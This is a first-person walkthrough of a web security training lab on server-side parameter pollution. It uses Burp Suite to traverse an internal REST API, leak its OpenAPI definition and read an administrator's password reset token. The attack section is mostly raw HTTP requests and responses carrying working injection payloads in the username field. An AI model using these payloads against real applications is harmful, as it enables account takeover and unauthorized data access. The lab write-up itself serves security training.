Exploiting server side parameter pollution in a REST URL
Description
To solve the lab, log in as the administrator
and delete carlos
.
Approach
After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite. Two requests got my attention: one fetching a JavaScript file and the other a POST request to /forgot-password.
Starting with the GET /static/js/forgotPassword.js
, there is an interesting part in the JavaScript script:
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
}
This part is responsible for getting the value of passwordResetToken
and verifying it. If it exists, it redirects with a GET request to /forgot-password
with that passwordResetToken
.
From this information, I can build an attack path to get the administrator's passwordResetToken
, reset their password, log in as them, and delete the user Carlos.
I started working on how to get the passwordResetToken
of the administrator. I went to the POST /forgot-password
request and sent it to the repeater in Burp Suite to start working on it. I started by truncating the query string with the #
character:
POST /forgot-password HTTP/2
Host: 0ada009f03b2058781472faf00550026.web-security-academy.net
Cookie: session=bb7bjqWIY6WBTvIkezybzDfZtiBq6cJP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=vBr4ih5Bd22dgiBe4Pkw1y2jCUgSgVDX&username=administrator%23
I got this error:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86
{
"type": "error",
"result": "Invalid route. Please refer to the API definition"
}
From this, I understood that the truncation worked, but it destroyed the query string, making it unable to reach the intended route. To clarify, imagine this is the normal route:
/api/library/books/{book}/category/{category}
And I sent this:
book=HarryPotter%23
The query string would become:
/api/library/books/HarryPotter%23
That's not a valid route, so the API triggers an error indicating an invalid route.
Going back to the analysis, I tried using path traversal with common API definition file names, starting with the one mentioned in the course: openapi.json. After some attempts, I got a response after passing this payload URL-encoded: administrator../../../../../../openapi.json#
.
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=administrator%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fopenapi.json%23
The response was:
HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 629
{
"error": "Unexpected response from API server:
{
"openapi": "3.0.0",
"info": {
"title": "User API",
"version": "2.0.0"
},
"paths": {
"/api/internal/v1/users/{username}/field/{field}": {
"get": {
"tags": [
"users"
],
"summary": "Find user by username",
"description": "API Version 1",
"parameters": [
{
"name": "username",
"in": "path",
"description": "Username",
"required": true,
"schema": {
..."
}
From this, I could see the /api/internal/v1/users/{username}/field/{field}
route, which helped me understand the invalid route
error I was getting.
I decided to go for the reset token of the administrator:
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=administrator/field/passwordResetToken%23
I got this error:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107
{
"type": "error",
"result": "This version of API only supports the email field for security reasons"
}
I couldn't get it this way, but looking at the documentation, I saw it was using version 2 of the API. I confirmed this by reaching the token again from a full path where the version is equal to 2:
../../v2/users/administrator/field/passwordResetToken#
When sending this request:
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=%2e%2e%2f%2e%2e%2fv2/users/administrator/field/passwordResetToken%23
I got the same error, confirming my theory:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107
{
"type": "error",
"result": "This version of API only supports the email field for security reasons"
}
Now, I tried using an older version, version 1, to see if it worked:
POST /forgot-password HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
csrf=U88ffUCmJXnGrgX1KCtUrJMDSAk6WlI0&username=%2e%2e%2f%2e%2e%2fv1/users/administrator/field/passwordResetToken%23
I got the reset token in the response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 82
{
"type": "passwordResetToken",
"result": "pgjg38611p8vj5bozjcc0e0r5u3mjiso"
}
Now, by sending this request:
GET /forgot-password?passwordResetToken=pgjg38611p8vj5bozjcc0e0r5u3mjiso HTTP/2
Host: 0a6c0098037e13ea8498ef4300610096.web-security-academy.net
Cookie: session=XbOEOAYYSZi87jCb2i9UU15zZ1cuXzU0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
In the response, I could see the password reset page for the administrator user. By simply right-clicking the response and clicking Show response in browser, I could copy and paste the URL into the browser and reset the administrator's password. Finally, I logged in as the administrator and deleted the user Carlos, which resulted in solving the lab.